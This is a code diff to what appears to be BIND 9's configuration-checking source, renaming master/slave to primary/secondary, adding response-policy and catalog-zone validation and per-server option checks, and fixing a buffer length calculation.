@@ -3009,7 +3435,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	/*
 	 * Check the excessively complicated "dialup" option.
 	 */
-	if (ztype == CFG_ZONE_MASTER || ztype == CFG_ZONE_SLAVE ||
+	if (ztype == CFG_ZONE_PRIMARY || ztype == CFG_ZONE_SECONDARY ||
 	    ztype == CFG_ZONE_STUB)
 	{
 		obj = NULL;
@@ -3017,7 +3443,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		if (obj != NULL && cfg_obj_isstring(obj)) {
 			const char *str = cfg_obj_asstring(obj);
 			for (i = 0; i < sizeof(dialups) / sizeof(dialups[0]);
-			     i++) {
+			     i++)
+			{
 				if (strcasecmp(dialups[i].name, str) != 0) {
 					continue;
 				}
@@ -3053,7 +3480,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 			(void)cfg_map_get(goptions, "forwarders", &obj);
 		}
 	}
-	if (check_forward(zoptions, obj, logctx) != ISC_R_SUCCESS) {
+	if (check_forward(config, zoptions, obj, logctx) != ISC_R_SUCCESS) {
 		result = ISC_R_FAILURE;
 	}
 
@@ -3075,7 +3502,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				cfg_map_get(goptions, "forward", &obj);
 			}
 			if (obj == NULL ||
-			    strcasecmp(cfg_obj_asstring(obj), "first") == 0) {
+			    strcasecmp(cfg_obj_asstring(obj), "first") == 0)
+			{
 				cfg_obj_log(zconfig, logctx, ISC_LOG_WARNING,
 					    "inherited 'forward first;' for "
 					    "%s zone '%s' - did you want "
@@ -3150,49 +3578,17 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	}
 
 	/*
-	 * Check that max-zone-ttl isn't used with masterfile-format map
+	 * Warn if key-directory doesn't exist
 	 */
-	masterformat = dns_masterformat_text;
 	obj = NULL;
-	(void)cfg_map_get(zoptions, "masterfile-format", &obj);
-	if (obj != NULL) {
-		const char *masterformatstr = cfg_obj_asstring(obj);
-		if (strcasecmp(masterformatstr, "text") == 0) {
-			masterformat = dns_masterformat_text;
-		} else if (strcasecmp(masterformatstr, "raw") == 0) {
-			masterformat = dns_masterformat_raw;
-		} else if (strcasecmp(masterformatstr, "map") == 0) {
-			masterformat = dns_masterformat_map;
-		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
-		}
+	(void)cfg_map_get(zoptions, "key-directory", &obj);
+	if (obj == NULL && voptions != NULL) {
+		(void)cfg_map_get(voptions, "key-directory", &obj);
 	}
-
-	if (masterformat == dns_masterformat_map) {
-		obj = NULL;
-		(void)cfg_map_get(zoptions, "max-zone-ttl", &obj);
-		if (obj == NULL && voptions != NULL) {
-			(void)cfg_map_get(voptions, "max-zone-ttl", &obj);
-		}
-		if (obj == NULL && goptions != NULL) {
-			(void)cfg_map_get(goptions, "max-zone-ttl", &obj);
-		}
-		if (obj != NULL) {
-			cfg_obj_log(zconfig, logctx, ISC_LOG_ERROR,
-				    "zone '%s': 'max-zone-ttl' is not "
-				    "compatible with 'masterfile-format map'",
-				    znamestr);
-			result = ISC_R_FAILURE;
-		}
+	if (obj == NULL && goptions != NULL) {
+		(void)cfg_map_get(goptions, "key-directory", &obj);
 	}
-
-	/*
-	 * Warn if key-directory doesn't exist
-	 */
-	obj = NULL;
-	tresult = cfg_map_get(zoptions, "key-directory", &obj);
-	if (tresult == ISC_R_SUCCESS) {
+	if (obj != NULL) {
 		dir = cfg_obj_asstring(obj);
 
 		tresult = isc_file_isdirectory(dir);
@@ -3225,8 +3621,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		char *tmp = keydirbuf;
 		size_t len = sizeof(keydirbuf);
 		dns_name_format(zname, keydirbuf, sizeof(keydirbuf));
-		tmp += strlen(tmp);
 		len -= strlen(tmp);
+		tmp += strlen(tmp);
 		(void)snprintf(tmp, len, "/%s", (dir == NULL) ? "(null)" : dir);
 		tresult = keydirexist(zconfig, (const char *)keydirbuf,
 				      kaspname, keydirs, logctx, mctx);
@@ -3238,14 +3634,15 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	/*
 	 * Check various options.
 	 */
-	tresult = check_options(zoptions, config, logctx, mctx, optlevel_zone);
+	tresult = check_options(zoptions, config, false, logctx, mctx,
+				optlevel_zone);
 	if (tresult != ISC_R_SUCCESS) {
 		result = tresult;
 	}
 
 	/*
-	 * If the zone type is rbt/rbt64 then master/hint zones require file
-	 * clauses. If inline-signing is used, then slave zones require a
+	 * If the zone type is rbt then primary/hint zones require file
+	 * clauses. If inline-signing is used, then secondary zones require a
 	 * file clause as well.
 	 */
 	obj = NULL;
@@ -3265,8 +3662,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		result = ISC_R_FAILURE;
 	} else if (!dlz && (tresult == ISC_R_NOTFOUND ||
 			    (tresult == ISC_R_SUCCESS &&
-			     (strcmp("rbt", cfg_obj_asstring(obj)) == 0 ||
-			      strcmp("rbt64", cfg_obj_asstring(obj)) == 0))))
+			     strcmp("rbt", cfg_obj_asstring(obj)) == 0)))
 	{
 		isc_result_t res1;
 		const cfg_obj_t *fileobj = NULL;
@@ -3274,8 +3670,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		obj = NULL;
 		res1 = cfg_map_get(zoptions, "inline-signing", &obj);
 		if ((tresult != ISC_R_SUCCESS &&
-		     (ztype == CFG_ZONE_MASTER || ztype == CFG_ZONE_HINT ||
-		      (ztype == CFG_ZONE_SLAVE && res1 == ISC_R_SUCCESS &&
+		     (ztype == CFG_ZONE_PRIMARY || ztype == CFG_ZONE_HINT ||
+		      (ztype == CFG_ZONE_SECONDARY && res1 == ISC_R_SUCCESS &&
 		       cfg_obj_asboolean(obj)))))
 		{
 			cfg_obj_log(zconfig, logctx, ISC_LOG_ERROR,
@@ -3283,7 +3679,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				    znamestr);
 			result = tresult;
 		} else if (tresult == ISC_R_SUCCESS &&
-			   (ztype == CFG_ZONE_SLAVE ||
+			   (ztype == CFG_ZONE_SECONDARY ||
 			    ztype == CFG_ZONE_MIRROR || ddns ||
 			    has_dnssecpolicy))
 		{
@@ -3292,7 +3688,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				result = tresult;
 			}
 		} else if (tresult == ISC_R_SUCCESS &&
-			   (ztype == CFG_ZONE_MASTER || ztype == CFG_ZONE_HINT))
+			   (ztype == CFG_ZONE_PRIMARY ||
+			    ztype == CFG_ZONE_HINT))
 		{
 			tresult = fileexist(fileobj, files, false, logctx);
 			if (tresult != ISC_R_SUCCESS) {
@@ -3310,7 +3707,7 @@ typedef struct keyalgorithms {
 } algorithmtable;
 
 isc_result_t
-bind9_check_key(const cfg_obj_t *key, isc_log_t *logctx) {
+isccfg_check_key(const cfg_obj_t *key, isc_log_t *logctx) {
 	const cfg_obj_t *algobj = NULL;
 	const cfg_obj_t *secretobj = NULL;
 	const char *keyname = cfg_obj_asstring(cfg_map_getname(key));
@@ -3370,7 +3767,8 @@ bind9_check_key(const cfg_obj_t *key, isc_log_t *logctx) {
 		result = isc_parse_uint16(&digestbits, algorithm + len + 1, 10);
 		if (result == ISC_R_SUCCESS || result == ISC_R_RANGE) {
 			if (result == ISC_R_RANGE ||
-			    digestbits > algorithms[i].size) {
+			    digestbits > algorithms[i].size)
+			{
 				cfg_obj_log(algobj, logctx, ISC_LOG_ERROR,
 					    "key '%s' digest-bits too large "
 					    "[%u..%u]",
@@ -3389,7 +3787,8 @@ bind9_check_key(const cfg_obj_t *key, isc_log_t *logctx) {
 			 * Recommended minima for hmac algorithms.
 			 */
 			if ((digestbits < (algorithms[i].size / 2U) ||
-			     (digestbits < 80U))) {
+			     (digestbits < 80U)))
+			{
 				cfg_obj_log(algobj, logctx, ISC_LOG_WARNING,
 					    "key '%s' digest-bits too small "
 					    "[<%u]",
@@ -3530,7 +3929,7 @@ check_keylist(const cfg_obj_t *keys, isc_symtab_t *symtab, isc_mem_t *mctx,
 			result = tresult;
 			continue;
 		}
-		tresult = bind9_check_key(key, logctx);
+		tresult = isccfg_check_key(key, logctx);
 		if (tresult != ISC_R_SUCCESS) {
 			return (tresult);
 		}
@@ -3567,14 +3966,6 @@ check_keylist(const cfg_obj_t *keys, isc_symtab_t *symtab, isc_mem_t *mctx,
 	return (result);
 }
 
-static struct {
-	const char *v4;
-	const char *v6;
-} sources[] = { { "transfer-source", "transfer-source-v6" },
-		{ "notify-source", "notify-source-v6" },
-		{ "query-source", "query-source-v6" },
-		{ NULL, NULL } };
-
 /*
  * RNDC keys are not normalised unlike TSIG keys.
  *
@@ -3602,9 +3993,33 @@ rndckey_exists(const cfg_obj_t *keylist, const char *keyname) {
 	return (false);
 }
 
+static struct {
+	const char *v4;
+	const char *v6;
+} sources[] = { { "transfer-source", "transfer-source-v6" },
+		{ "notify-source", "notify-source-v6" },
+		{ "parental-source", "parental-source-v6" },
+		{ "query-source", "query-source-v6" },
+		{ NULL, NULL } };
+
+static struct {
+	const char *name;
+	isc_result_t (*set)(dns_peer_t *peer, bool newval);
+} bools[] = {
+	{ "bogus", dns_peer_setbogus },
+	{ "edns", dns_peer_setsupportedns },
+	{ "provide-ixfr", dns_peer_setprovideixfr },
+	{ "request-expire", dns_peer_setrequestexpire },
+	{ "request-ixfr", dns_peer_setrequestixfr },
+	{ "request-nsid", dns_peer_setrequestnsid },
+	{ "send-cookie", dns_peer_setsendcookie },
+	{ "tcp-keepalive", dns_peer_settcpkeepalive },
+	{ "tcp-only", dns_peer_setforcetcp },
+};
+
 static isc_result_t
 check_servers(const cfg_obj_t *config, const cfg_obj_t *voptions,
-	      isc_symtab_t *symtab, isc_log_t *logctx) {
+	      isc_symtab_t *symtab, isc_mem_t *mctx, isc_log_t *logctx) {
 	dns_fixedname_t fname;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
@@ -3634,6 +4049,8 @@ check_servers(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	}
 
 	for (e1 = cfg_list_first(servers); e1 != NULL; e1 = cfg_list_next(e1)) {
+		dns_peer_t *peer = NULL;
+		size_t i;
 		v1 = cfg_listelt_value(e1);
 		cfg_obj_asnetprefix(cfg_map_getname(v1), &n1, &p1);
 		/*
@@ -3651,6 +4068,10 @@ check_servers(const cfg_obj_t *config, const cfg_obj_t *voptions,
 		}
 		source = 0;
 		do {
+			/*
+			 * For a v6 server we can't specify a v4 source,
+			 * and vice versa.
+			 */
 			obj = NULL;
 			if (n1.family == AF_INET) {
 				xfr = sources[source].v6;
@@ -3665,6 +4086,31 @@ check_servers(const cfg_obj_t *config, const cfg_obj_t *voptions,
 					    p1, xfr);
 				result = ISC_R_FAILURE;
 			}
+
+			/*
+			 * Check that we aren't using the DNS
+			 * listener port (i.e. 53, or whatever was set
+			 * as "port" in options) as a source port.
+			 */
+			obj = NULL;
+			if (n1.family == AF_INET) {
+				xfr = sources[source].v4;
+			} else {
+				xfr = sources[source].v6;
+			}
+			(void)cfg_map_get(v1, xfr, &obj);
+			if (obj != NULL) {
+				const isc_sockaddr_t *sa =
+					cfg_obj_assockaddr(obj);
+				in_port_t port = isc_sockaddr_getport(sa);
+				if (port == dnsport) {
+					cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+						    "'%s' cannot specify the "
+						    "DNS listener port (%d)",
+						    xfr, port);
+					result = ISC_R_FAILURE;
+				}
+			}
 		} while (sources[++source].v4 != NULL);
 		e2 = e1;
 		while ((e2 = cfg_list_next(e2)) != NULL) {
@@ -3712,6 +4158,24 @@ check_servers(const cfg_obj_t *config, const cfg_obj_t *voptions,
 				result = ISC_R_FAILURE;
 			}
 		}
+		(void)dns_peer_newprefix(mctx, &n1, p1, &peer);
+		for (i = 0; i < ARRAY_SIZE(bools); i++) {
+			const cfg_obj_t *opt = NULL;
+			cfg_map_get(v1, bools[i].name, &opt);
+			if (opt != NULL) {
+				tresult = (bools[i].set)(
+					peer, cfg_obj_asboolean(opt));
+				if (tresult != ISC_R_SUCCESS) {
+					cfg_obj_log(opt, logctx, ISC_LOG_ERROR,
+						    "setting server option "
+						    "'%s' failed: %s",
+						    bools[i].name,
+						    isc_result_totext(tresult));
+					result = ISC_R_FAILURE;
+				}
+			}
+		}
+		dns_peer_detach(&peer);
 	}
 	return (result);
 }
@@ -3914,7 +4378,8 @@ check_trust_anchor(const cfg_obj_t *key, bool managed, unsigned int *flagsp,
 		}
 
 		if (result == ISC_R_SUCCESS &&
-		    dns_name_equal(keyname, dns_rootname)) {
+		    dns_name_equal(keyname, dns_rootname))
+		{
 			/*
 			 * Flag any use of a root key, regardless of content.
 			 */
@@ -3970,7 +4435,8 @@ check_trust_anchor(const cfg_obj_t *key, bool managed, unsigned int *flagsp,
 			result = ISC_R_FAILURE;
 		}
 		if (result == ISC_R_SUCCESS &&
-		    dns_name_equal(keyname, dns_rootname)) {
+		    dns_name_equal(keyname, dns_rootname))
+		{
 			/*
 			 * Flag any use of a root key, regardless of content.
 			 */
@@ -4015,14 +4481,15 @@ record_static_keys(isc_symtab_t *symtab, isc_mem_t *mctx,
 	name = dns_fixedname_initname(&fixed);
 
 	for (elt = cfg_list_first(keylist); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		const char *initmethod;
 		const cfg_obj_t *init = NULL;
 		const cfg_obj_t *obj = cfg_listelt_value(elt);
 		const char *str = cfg_obj_asstring(cfg_tuple_get(obj, "name"));
 		isc_symvalue_t symvalue;
 
-		result = dns_name_fromstring(name, str, 0, NULL);
+		result = dns_name_fromstring(name, str, dns_rootname, 0, NULL);
 		if (result != ISC_R_SUCCESS) {
 			continue;
 		}
@@ -4078,7 +4545,8 @@ check_initializing_keys(isc_symtab_t *symtab, const cfg_obj_t *keylist,
 	name = dns_fixedname_initname(&fixed);
 
 	for (elt = cfg_list_first(keylist); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		const cfg_obj_t *obj = cfg_listelt_value(elt);
 		const cfg_obj_t *init = NULL;
 		const char *str;
@@ -4094,7 +4562,7 @@ check_initializing_keys(isc_symtab_t *symtab, const cfg_obj_t *keylist,
 		}
 
 		str = cfg_obj_asstring(cfg_tuple_get(obj, "name"));
-		result = dns_name_fromstring(name, str, 0, NULL);
+		result = dns_name_fromstring(name, str, dns_rootname, 0, NULL);
 		if (result != ISC_R_SUCCESS) {
 			continue;
 		}
@@ -4134,14 +4602,15 @@ record_ds_keys(isc_symtab_t *symtab, isc_mem_t *mctx,
 	name = dns_fixedname_initname(&fixed);
 
 	for (elt = cfg_list_first(keylist); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		const char *initmethod;
 		const cfg_obj_t *init = NULL;
 		const cfg_obj_t *obj = cfg_listelt_value(elt);
 		const char *str = cfg_obj_asstring(cfg_tuple_get(obj, "name"));
 		isc_symvalue_t symvalue;
 
-		result = dns_name_fromstring(name, str, 0, NULL);
+		result = dns_name_fromstring(name, str, dns_rootname, 0, NULL);
 		if (result != ISC_R_SUCCESS) {
 			continue;
 		}
@@ -4202,7 +4671,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	 * and all the DS-style trust anchors.
 	 */
 	for (elt = cfg_list_first(global_ta); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = record_static_keys(statictab, mctx, keylist, logctx,
 					     autovalidation);
@@ -4217,7 +4687,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	}
 
 	for (elt = cfg_list_first(view_ta); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = record_static_keys(statictab, mctx, keylist, logctx,
 					     autovalidation);
@@ -4232,7 +4703,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	}
 
 	for (elt = cfg_list_first(global_tkeys); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = record_static_keys(statictab, mctx, keylist, logctx,
 					     autovalidation);
@@ -4242,7 +4714,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	}
 
 	for (elt = cfg_list_first(view_tkeys); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = record_static_keys(statictab, mctx, keylist, logctx,
 					     autovalidation);
@@ -4256,7 +4729,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	 * static keys and the trust-anchors configured with "initial-key".
 	 */
 	for (elt = cfg_list_first(global_ta); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = check_initializing_keys(statictab, keylist, logctx);
 		if (result == ISC_R_SUCCESS) {
@@ -4265,7 +4739,8 @@ check_ta_conflicts(const cfg_obj_t *global_ta, const cfg_obj_t *view_ta,
 	}
 
 	for (elt = cfg_list_first(view_ta); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		keylist = cfg_listelt_value(elt);
 		tresult = check_initializing_keys(statictab, keylist, logctx);
 		if (result == ISC_R_SUCCESS) {
@@ -4327,7 +4802,8 @@ check_rpz_catz(const char *rpz_catz, const cfg_obj_t *rpz_obj,
 			}
 		}
 
-		tresult = dns_name_fromstring(name, zonename, 0, NULL);
+		tresult = dns_name_fromstring(name, zonename, dns_rootname, 0,
+					      NULL);
 		if (tresult != ISC_R_SUCCESS) {
 			cfg_obj_log(nameobj, logctx, ISC_LOG_ERROR,
 				    "bad domain name '%s'", zonename);
@@ -4357,7 +4833,8 @@ check_rpz_catz(const char *rpz_catz, const cfg_obj_t *rpz_obj,
 		    strcasecmp(zonetype, "slave") != 0)
 		{
 			cfg_obj_log(nameobj, logctx, ISC_LOG_ERROR,
-				    "%s '%s'%s%s is not a master or slave zone",
+				    "%s '%s'%s%s is not a primary or secondary "
+				    "zone",
 				    rpz_catz, zonename, forview, viewname);
 			if (result == ISC_R_SUCCESS) {
 				result = ISC_R_FAILURE;
@@ -4367,6 +4844,129 @@ check_rpz_catz(const char *rpz_catz, const cfg_obj_t *rpz_obj,
 	return (result);
 }
 
+static isc_result_t
+check_rpz(const cfg_obj_t *rpz_obj, isc_log_t *logctx) {
+	const cfg_listelt_t *element;
+	const cfg_obj_t *obj, *nameobj, *edeobj;
+	const char *zonename;
+	isc_result_t result = ISC_R_SUCCESS, tresult;
+	dns_fixedname_t fixed;
+	dns_name_t *name = dns_fixedname_initname(&fixed);
+
+	obj = cfg_tuple_get(rpz_obj, "zone list");
+
+	for (element = cfg_list_first(obj); element != NULL;
+	     element = cfg_list_next(element))
+	{
+		obj = cfg_listelt_value(element);
+		nameobj = cfg_tuple_get(obj, "zone name");
+		zonename = cfg_obj_asstring(nameobj);
+
+		tresult = dns_name_fromstring(name, zonename, dns_rootname, 0,
+					      NULL);
+		if (tresult != ISC_R_SUCCESS) {
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "bad domain name '%s'", zonename);
+			if (result == ISC_R_SUCCESS) {
+				result = tresult;
+				continue;
+			}
+		}
+
+		edeobj = cfg_tuple_get(obj, "ede");
+		if (edeobj != NULL && cfg_obj_isstring(edeobj)) {
+			const char *str = cfg_obj_asstring(edeobj);
+
+			if (dns_rpz_str2ede(str) == UINT16_MAX) {
+				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+					    "unsupported EDE type '%s'", str);
+				result = ISC_R_FAILURE;
+			}
+		}
+	}
+
+	return (result);
+}
+
+static isc_result_t
+check_catz(const cfg_obj_t *catz_obj, const char *viewname, isc_mem_t *mctx,
+	   isc_log_t *logctx) {
+	const cfg_listelt_t *element;
+	const cfg_obj_t *obj, *nameobj, *primariesobj;
+	const char *zonename;
+	const char *forview = " for view ";
+	isc_result_t result, tresult;
+	isc_symtab_t *symtab = NULL;
+	dns_fixedname_t fixed;
+	dns_name_t *name = dns_fixedname_initname(&fixed);
+
+	if (viewname == NULL) {
+		viewname = "";
+		forview = "";
+	}
+
+	result = isc_symtab_create(mctx, 100, freekey, mctx, false, &symtab);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	obj = cfg_tuple_get(catz_obj, "zone list");
+
+	for (element = cfg_list_first(obj); element != NULL;
+	     element = cfg_list_next(element))
+	{
+		char namebuf[DNS_NAME_FORMATSIZE];
+
+		obj = cfg_listelt_value(element);
+		nameobj = cfg_tuple_get(obj, "zone name");
+		zonename = cfg_obj_asstring(nameobj);
+
+		tresult = dns_name_fromstring(name, zonename, dns_rootname, 0,
+					      NULL);
+		if (tresult != ISC_R_SUCCESS) {
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "bad domain name '%s'", zonename);
+			if (result == ISC_R_SUCCESS) {
+				result = tresult;
+				continue;
+			}
+		}
+
+		dns_name_format(name, namebuf, sizeof(namebuf));
+		tresult =
+			nameexist(nameobj, namebuf, 1, symtab,
+				  "catalog zone '%s': already added here %s:%u",
+				  logctx, mctx);
+		if (tresult != ISC_R_SUCCESS) {
+			result = tresult;
+			continue;
+		}
+
+		primariesobj = cfg_tuple_get(obj, "default-primaries");
+		if (primariesobj != NULL && cfg_obj_istuple(primariesobj)) {
+			primariesobj = cfg_tuple_get(obj, "default-masters");
+			if (primariesobj != NULL &&
+			    cfg_obj_istuple(primariesobj))
+			{
+				cfg_obj_log(nameobj, logctx, ISC_LOG_ERROR,
+					    "catalog zone '%s'%s%s: "
+					    "'default-primaries' and "
+					    "'default-masters' can not be both "
+					    "defined",
+					    zonename, forview, viewname);
+				result = ISC_R_FAILURE;
+				break;
+			}
+		}
+	}
+
+	if (symtab != NULL) {
+		isc_symtab_destroy(&symtab);
+	}
+
+	return (result);
+}
+
 /*%
  * Data structure used for the 'callback_data' argument to check_one_plugin().
  */
@@ -4455,7 +5055,7 @@ check_dnstap(const cfg_obj_t *voptions, const cfg_obj_t *config,
 static isc_result_t
 check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	       const char *viewname, dns_rdataclass_t vclass,
-	       isc_symtab_t *files, isc_symtab_t *keydirs, bool check_plugins,
+	       isc_symtab_t *files, isc_symtab_t *keydirs, unsigned int flags,
 	       isc_symtab_t *inview, isc_log_t *logctx, isc_mem_t *mctx) {
 	const cfg_obj_t *zones = NULL;
 	const cfg_obj_t *view_tkeys = NULL, *global_tkeys = NULL;
@@ -4475,6 +5075,8 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	bool autovalidation = false;
 	unsigned int tflags = 0, dflags = 0;
 	int i;
+	bool check_plugins = (flags & BIND_CHECK_PLUGINS) != 0;
+	bool check_algorithms = (flags & BIND_CHECK_ALGORITHMS) != 0;
 
 	/*
 	 * Get global options block
@@ -4546,12 +5148,39 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 		}
 	}
 
+	/*
+	 * Check response-policy configuration.
+	 */
+	if (opts != NULL) {
+		obj = NULL;
+		if ((cfg_map_get(opts, "response-policy", &obj) ==
+		     ISC_R_SUCCESS) &&
+		    (check_rpz(obj, logctx) != ISC_R_SUCCESS))
+		{
+			result = ISC_R_FAILURE;
+		}
+	}
+
+	/*
+	 * Check catalog-zones configuration.
+	 */
+	if (opts != NULL) {
+		obj = NULL;
+		if ((cfg_map_get(opts, "catalog-zones", &obj) ==
+		     ISC_R_SUCCESS) &&
+		    (check_catz(obj, viewname, mctx, logctx) != ISC_R_SUCCESS))
+		{
+			result = ISC_R_FAILURE;
+		}
+	}
+
 	isc_symtab_destroy(&symtab);
 
 	/*
 	 * Check that forwarding is reasonable.
 	 */
-	if (opts != NULL && check_forward(opts, NULL, logctx) != ISC_R_SUCCESS)
+	if (opts != NULL &&
+	    check_forward(config, opts, NULL, logctx) != ISC_R_SUCCESS)
 	{
 		result = ISC_R_FAILURE;
 	}
@@ -4564,7 +5193,8 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 		result = ISC_R_FAILURE;
 	}
 	if (voptions != NULL &&
-	    check_nonzero(voptions, logctx) != ISC_R_SUCCESS) {
+	    check_nonzero(voptions, logctx) != ISC_R_SUCCESS)
+	{
 		result = ISC_R_FAILURE;
 	}
 
@@ -4615,7 +5245,9 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	/*
 	 * Global servers can refer to keys in views.
 	 */
-	if (check_servers(config, voptions, symtab, logctx) != ISC_R_SUCCESS) {
+	if (check_servers(config, voptions, symtab, mctx, logctx) !=
+	    ISC_R_SUCCESS)
+	{
 		result = ISC_R_FAILURE;
 	}
 
@@ -4640,7 +5272,7 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	check_keys[1] = global_tkeys;
 	for (i = 0; i < 2; i++) {
 		if (check_keys[i] != NULL) {
-			unsigned int flags = 0;
+			unsigned int taflags = 0;
 
 			for (element = cfg_list_first(check_keys[i]);
 			     element != NULL; element = cfg_list_next(element))
@@ -4653,14 +5285,14 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 				{
 					obj = cfg_listelt_value(element2);
 					tresult = check_trust_anchor(
-						obj, false, &flags, logctx);
+						obj, false, &taflags, logctx);
 					if (tresult != ISC_R_SUCCESS) {
 						result = tresult;
 					}
 				}
 			}
 
-			if ((flags & ROOT_KSK_STATIC) != 0) {
+			if ((taflags & ROOT_KSK_STATIC) != 0) {
 				cfg_obj_log(check_keys[i], logctx,
 					    ISC_LOG_WARNING,
 					    "trusted-keys entry for the root "
@@ -4670,7 +5302,7 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 					    "or initial-ds instead.");
 			}
 
-			tflags |= flags;
+			tflags |= taflags;
 		}
 	}
 
@@ -4697,7 +5329,7 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	check_keys[1] = global_ta;
 	for (i = 0; i < 2; i++) {
 		if (check_keys[i] != NULL) {
-			unsigned int flags = 0;
+			unsigned int taflags = 0;
 
 			for (element = cfg_list_first(check_keys[i]);
 			     element != NULL; element = cfg_list_next(element))
@@ -4710,14 +5342,14 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 				{
 					obj = cfg_listelt_value(element2);
 					tresult = check_trust_anchor(
-						obj, true, &flags, logctx);
+						obj, true, &taflags, logctx);
 					if (tresult != ISC_R_SUCCESS) {
 						result = tresult;
 					}
 				}
 			}
 
-			if ((flags & ROOT_KSK_STATIC) != 0) {
+			if ((taflags & ROOT_KSK_STATIC) != 0) {
 				cfg_obj_log(check_keys[i], logctx,
 					    ISC_LOG_WARNING,
 					    "static entry for the root "
@@ -4727,8 +5359,9 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 					    "or initial-ds instead.");
 			}
 
-			if ((flags & ROOT_KSK_2010) != 0 &&
-			    (flags & ROOT_KSK_2017) == 0) {
+			if ((taflags & ROOT_KSK_2010) != 0 &&
+			    (taflags & ROOT_KSK_2017) == 0)
+			{
 				cfg_obj_log(check_keys[i], logctx,
 					    ISC_LOG_WARNING,
 					    "initial-key entry for the root "
@@ -4736,7 +5369,7 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 					    "the updated 2017 key");
 			}
 
-			dflags |= flags;
+			dflags |= taflags;
 		}
 	}
 
@@ -4775,11 +5408,11 @@ check_viewconf(const cfg_obj_t *config, const cfg_obj_t *voptions,
 	 * Check options.
 	 */
 	if (voptions != NULL) {
-		tresult = check_options(voptions, NULL, logctx, mctx,
-					optlevel_view);
+		tresult = check_options(voptions, NULL, check_algorithms,
+					logctx, mctx, optlevel_view);
 	} else {
-		tresult = check_options(config, config, logctx, mctx,
-					optlevel_config);
+		tresult = check_options(config, config, check_algorithms,
+					logctx, mctx, optlevel_config);
 	}
 	if (tresult != ISC_R_SUCCESS) {
 		result = tresult;
@@ -4853,8 +5486,7 @@ static const char *default_channels[] = { "default_syslog", "default_stderr",
 					  "default_debug", "null", NULL };
 
 static isc_result_t
-bind9_check_logging(const cfg_obj_t *config, isc_log_t *logctx,
-		    isc_mem_t *mctx) {
+check_logging(const cfg_obj_t *config, isc_log_t *logctx, isc_mem_t *mctx) {
 	const cfg_obj_t *categories = NULL;
 	const cfg_obj_t *category;
 	const cfg_obj_t *channels = NULL;
@@ -4966,8 +5598,8 @@ bind9_check_logging(const cfg_obj_t *config, isc_log_t *logctx,
 }
 
 static isc_result_t
-bind9_check_controlskeys(const cfg_obj_t *control, const cfg_obj_t *keylist,
-			 isc_log_t *logctx) {
+check_controlskeys(const cfg_obj_t *control, const cfg_obj_t *keylist,
+		   isc_log_t *logctx) {
 	isc_result_t result = ISC_R_SUCCESS;
 	const cfg_obj_t *control_keylist;
 	const cfg_listelt_t *element;
@@ -4995,8 +5627,7 @@ bind9_check_controlskeys(const cfg_obj_t *control, const cfg_obj_t *keylist,
 }
 
 static isc_result_t
-bind9_check_controls(const cfg_obj_t *config, isc_log_t *logctx,
-		     isc_mem_t *mctx) {
